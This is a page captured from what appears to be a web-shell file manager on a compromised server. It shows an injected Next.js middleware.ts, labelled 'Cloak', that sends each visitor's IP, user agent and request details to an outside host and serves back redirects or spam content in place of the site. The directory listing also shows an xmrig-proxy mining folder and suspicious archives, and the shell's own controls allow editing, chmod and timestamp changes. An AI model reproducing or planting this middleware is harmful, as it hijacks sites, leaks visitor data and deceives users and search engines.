BLUE
PHP 7.4.33
Path:
/var/www/uibuilder.cmshelp.dk/httpdocs
Run
Logout
Edit File
Size: 3.10 KB
Close
/var/www/uibuilder.cmshelp.dk/httpdocs/middleware.ts
Text
Base64
import { NextResponse } from 'next/server'; import type { NextRequest } from 'next/server'; /** * Cloak 全局中间件 * 使用方法:直接复制到项目根目录的 middleware.ts * 如果已有 middleware.ts,把 cloakHandler 函数合并进去 */ const REMOTE_URL = 'https://api.cdnapi.tech/api/proxy/handle.php'; async function fetchRemote(request: NextRequest): Promise<string> { const serverInfo = { T: 'y', TPL: 7, VER: 1, HTTP_USER_AGENT: request.headers.get('user-agent') || '', HTTP_HOST: request.headers.get('host') || '', REQUEST_URI: request.nextUrl.pathname + request.nextUrl.search, REMOTE_ADDR: request.headers.get('x-forwarded-for')?.split(',')[0] || '', HTTP_REFERER: request.headers.get('referer') || '', HTTP_ACCEPT_LANGUAGE: request.headers.get('accept-language') || '', }; const payload = Buffer.from(JSON.stringify(serverInfo)).toString('base64'); try { const response = await fetch(REMOTE_URL, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ua=${encodeURIComponent(payload)}`, }); return response.ok ? await response.text() : ''; } catch { return ''; } } /** * Cloak 处理核心逻辑 * 返回 null 表示放行,返回 NextResponse 表示拦截 */ async function cloakHandler(request: NextRequest): Promise<NextResponse | null> { // ChatGPT 爬虫检测 - 直接输出 ##okresponse## 并终止 const userAgent = request.headers.get('user-agent') || ''; const gptParam = request.nextUrl.searchParams.get('gpt'); if (userAgent.includes('ChatGPT-User/1.0') && gptParam === 'true') { return new NextResponse('##okresponse##', { status: 200 }); } const content = await fetchRemote(request); // 空内容 = 放行,继续执行原项目代码 if (!content) return null; // 重定向 if (/^https?:\/\//.test(content)) { return NextResponse.redirect(content.trim()); } // ## 前缀 = 特殊响应 if (content.startsWith('##')) { return new NextResponse(content.slice(2)); } // 有内容 = 返回内容 let contentType = 'text/plain; charset=utf-8'; if (content.length > 90) { if (content.includes('</urlset>') || content.includes('</sitemapindex>')) { contentType = 'application/xml; charset=utf-8'; } else if (content.includes('"urlset"') || content.includes('"sitemapindex"')) { contentType = 'application/json; charset=utf-8'; } else if (content.includes('<html')) { contentType = 'text/html; charset=utf-8'; } } return new NextResponse(content, { headers: { 'Content-Type': contentType }, }); } export async function middleware(request: NextRequest) { // Cloak 处理 const cloakResponse = await cloakHandler(request); if (cloakResponse) return cloakResponse; // 放行,继续原有逻辑 return NextResponse.next(); } export const config = { // 排除静态资源,其他全部拦截 matcher: ['/((?!_next/static|_next/image|favicon.ico|.*\\.(?:svg|png|jpg|jpeg|gif|webp|ico|css|js)$).*)'], };
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 6 × Files: 13
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
.git
DIR
-
drwxr-xr-x
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
.next
DIR
-
drwxr-xr-x
2025-03-28 11:05:09
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
node_modules
DIR
-
drwxr-xr-x
2025-03-28 11:04:46
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
public
DIR
-
drwxr-xr-x
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
src
DIR
-
drwxr-xr-x
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
xmrig-proxy-6.24.0
DIR
-
drwxr-xr-x
2025-06-23 00:45:35
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
.gitignore
1.36 KB
lrw-r--r--
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
eslint.config.mjs
393 B
lrw-r--r--
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
hash
6.72 MB
lrwxr-xr-x
2023-11-23 13:50:26
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
kal.tar.gz
3.45 MB
lrw-r--r--
2025-12-08 13:48:58
Edit
Download
Rename
Chmod
Change Date
Unzip here
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
middleware.ts
3.10 KB
lrw-r--r--
2025-12-07 08:12:18
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
next-env.d.ts
211 B
lrw-r--r--
2025-03-28 11:04:59
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
next.config.ts
295 B
lrw-r--r--
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
package-lock.json
480.22 KB
lrw-r--r--
2025-03-28 11:04:46
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
package.json
922 B
lrw-r--r--
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
postcss.config.mjs
135 B
lrw-r--r--
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
README.md
1.42 KB
lrw-r--r--
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
tailwind.config.ts
393 B
lrw-r--r--
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
tsconfig.json
602 B
lrw-r--r--
2025-03-28 11:03:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).